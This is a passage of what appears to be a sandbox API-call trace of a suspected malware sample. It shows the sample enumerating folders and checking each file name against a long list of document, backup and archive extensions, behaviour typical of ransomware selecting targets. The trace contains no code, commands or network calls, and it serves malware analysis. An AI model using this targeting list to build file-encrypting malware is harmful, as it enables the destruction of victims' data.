hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.188] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.188] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.188] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.188] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.188] FindClose (in: hFindFile=0x4290080 | out: hFindFile=0x4290080) returned 1 [0101.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.188] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0101.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.189] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290840 [0101.189] FindNextFileW (in: hFindFile=0x4290840, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.189] FindNextFileW (in: hFindFile=0x4290840, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.189] FindNextFileW (in: hFindFile=0x4290840, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.189] FindNextFileW (in: hFindFile=0x4290840, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.189] FindNextFileW (in: hFindFile=0x4290840, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.189] FindClose (in: hFindFile=0x4290840 | out: hFindFile=0x4290840) returned 1 [0101.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.189] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0101.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.189] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42904c0 [0101.189] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.190] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0101.190] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0101.190] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0101.190] FindClose (in: hFindFile=0x42904c0 | out: hFindFile=0x42904c0) returned 1 [0101.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.190] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0101.190] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0101.190] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0101.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.190] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290180 [0101.190] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.191] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0101.191] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0101.191] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0101.191] FindClose (in: hFindFile=0x4290180 | out: hFindFile=0x4290180) returned 1 [0101.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.191] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0101.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.191] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290400 [0101.436] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.436] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0101.436] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0101.437] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0101.437] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0101.437] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0101.437] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0101.437] lstrlenW (lpString="Rotate5.ico") returned 11 [0101.437] lstrlenW (lpString=".1cd") returned 4 [0101.437] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0101.437] lstrlenW (lpString=".3ds") returned 4 [0101.437] lstrcmpiW (lpString1=".3ds", lpString2=".ico") returned -1 [0101.437] lstrlenW (lpString=".3fr") returned 4 [0101.437] lstrcmpiW (lpString1=".3fr", lpString2=".ico") returned -1 [0101.437] lstrlenW (lpString=".3g2") returned 4 [0101.437] lstrcmpiW (lpString1=".3g2", lpString2=".ico") returned -1 [0101.437] lstrlenW (lpString=".3gp") returned 4 [0101.437] lstrcmpiW (lpString1=".3gp", lpString2=".ico") returned -1 [0101.437] lstrlenW (lpString=".7z") returned 3 [0101.437] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0101.437] lstrlenW (lpString=".accda") returned 6 [0101.438] lstrcmpiW (lpString1=".accda", lpString2="e5.ico") returned -1 [0101.438] lstrlenW (lpString=".accdb") returned 6 [0101.438] lstrcmpiW (lpString1=".accdb", lpString2="e5.ico") returned -1 [0101.438] lstrlenW (lpString=".accdc") returned 6 [0101.438] lstrcmpiW (lpString1=".accdc", lpString2="e5.ico") returned -1 [0101.438] lstrlenW (lpString=".accde") returned 6 [0101.438] lstrcmpiW (lpString1=".accde", lpString2="e5.ico") returned -1 [0101.438] lstrlenW (lpString=".accdt") returned 6 [0101.438] lstrcmpiW (lpString1=".accdt", lpString2="e5.ico") returned -1 [0101.438] lstrlenW (lpString=".accdw") returned 6 [0101.438] lstrcmpiW (lpString1=".accdw", lpString2="e5.ico") returned -1 [0101.438] lstrlenW (lpString=".adb") returned 4 [0101.438] lstrcmpiW (lpString1=".adb", lpString2=".ico") returned -1 [0101.438] lstrlenW (lpString=".adp") returned 4 [0101.438] lstrcmpiW (lpString1=".adp", lpString2=".ico") returned -1 [0101.438] lstrlenW (lpString=".ai") returned 3 [0101.438] lstrcmpiW (lpString1=".ai", lpString2="ico") returned -1 [0101.438] lstrlenW (lpString=".ai3") returned 4 [0101.438] lstrcmpiW (lpString1=".ai3", lpString2=".ico") returned -1 [0101.438] lstrlenW (lpString=".ai4") returned 4 [0101.438] lstrcmpiW (lpString1=".ai4", lpString2=".ico") returned -1 [0101.438] lstrlenW (lpString=".ai5") returned 4 [0101.438] lstrcmpiW (lpString1=".ai5", lpString2=".ico") returned -1 [0101.438] lstrlenW (lpString=".ai6") returned 4 [0101.438] lstrcmpiW (lpString1=".ai6", lpString2=".ico") returned -1 [0101.438] lstrlenW (lpString=".ai7") returned 4 [0101.438] lstrcmpiW (lpString1=".ai7", lpString2=".ico") returned -1 [0101.438] lstrlenW (lpString=".ai8") returned 4 [0101.438] lstrcmpiW (lpString1=".ai8", lpString2=".ico") returned -1 [0101.438] lstrlenW (lpString=".anim") returned 5 [0101.438] lstrcmpiW (lpString1=".anim", lpString2="5.ico") returned -1 [0101.438] lstrlenW (lpString=".arw") returned 4 [0101.438] lstrcmpiW (lpString1=".arw", lpString2=".ico") returned -1 [0101.438] lstrlenW (lpString=".as") returned 3 [0101.438] lstrcmpiW (lpString1=".as", lpString2="ico") returned -1 [0101.439] lstrlenW (lpString=".asa") returned 4 [0101.439] lstrcmpiW (lpString1=".asa", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".asc") returned 4 [0101.439] lstrcmpiW (lpString1=".asc", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".ascx") returned 5 [0101.439] lstrcmpiW (lpString1=".ascx", lpString2="5.ico") returned -1 [0101.439] lstrlenW (lpString=".asm") returned 4 [0101.439] lstrcmpiW (lpString1=".asm", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".asmx") returned 5 [0101.439] lstrcmpiW (lpString1=".asmx", lpString2="5.ico") returned -1 [0101.439] lstrlenW (lpString=".asp") returned 4 [0101.439] lstrcmpiW (lpString1=".asp", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".aspx") returned 5 [0101.439] lstrcmpiW (lpString1=".aspx", lpString2="5.ico") returned -1 [0101.439] lstrlenW (lpString=".asr") returned 4 [0101.439] lstrcmpiW (lpString1=".asr", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".asx") returned 4 [0101.439] lstrcmpiW (lpString1=".asx", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".avi") returned 4 [0101.439] lstrcmpiW (lpString1=".avi", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".avs") returned 4 [0101.439] lstrcmpiW (lpString1=".avs", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".backup") returned 7 [0101.439] lstrcmpiW (lpString1=".backup", lpString2="te5.ico") returned -1 [0101.439] lstrlenW (lpString=".bak") returned 4 [0101.439] lstrcmpiW (lpString1=".bak", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".bay") returned 4 [0101.439] lstrcmpiW (lpString1=".bay", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".bd") returned 3 [0101.439] lstrcmpiW (lpString1=".bd", lpString2="ico") returned -1 [0101.439] lstrlenW (lpString=".bin") returned 4 [0101.439] lstrcmpiW (lpString1=".bin", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".bmp") returned 4 [0101.439] lstrcmpiW (lpString1=".bmp", lpString2=".ico") returned -1 [0101.439] lstrlenW (lpString=".bz2") returned 4 [0101.439] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".c") returned 2 [0101.440] lstrcmpiW (lpString1=".c", lpString2="co") returned -1 [0101.440] lstrlenW (lpString=".cdr") returned 4 [0101.440] lstrcmpiW (lpString1=".cdr", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".cer") returned 4 [0101.440] lstrcmpiW (lpString1=".cer", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".cf") returned 3 [0101.440] lstrcmpiW (lpString1=".cf", lpString2="ico") returned -1 [0101.440] lstrlenW (lpString=".cfc") returned 4 [0101.440] lstrcmpiW (lpString1=".cfc", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".cfm") returned 4 [0101.440] lstrcmpiW (lpString1=".cfm", 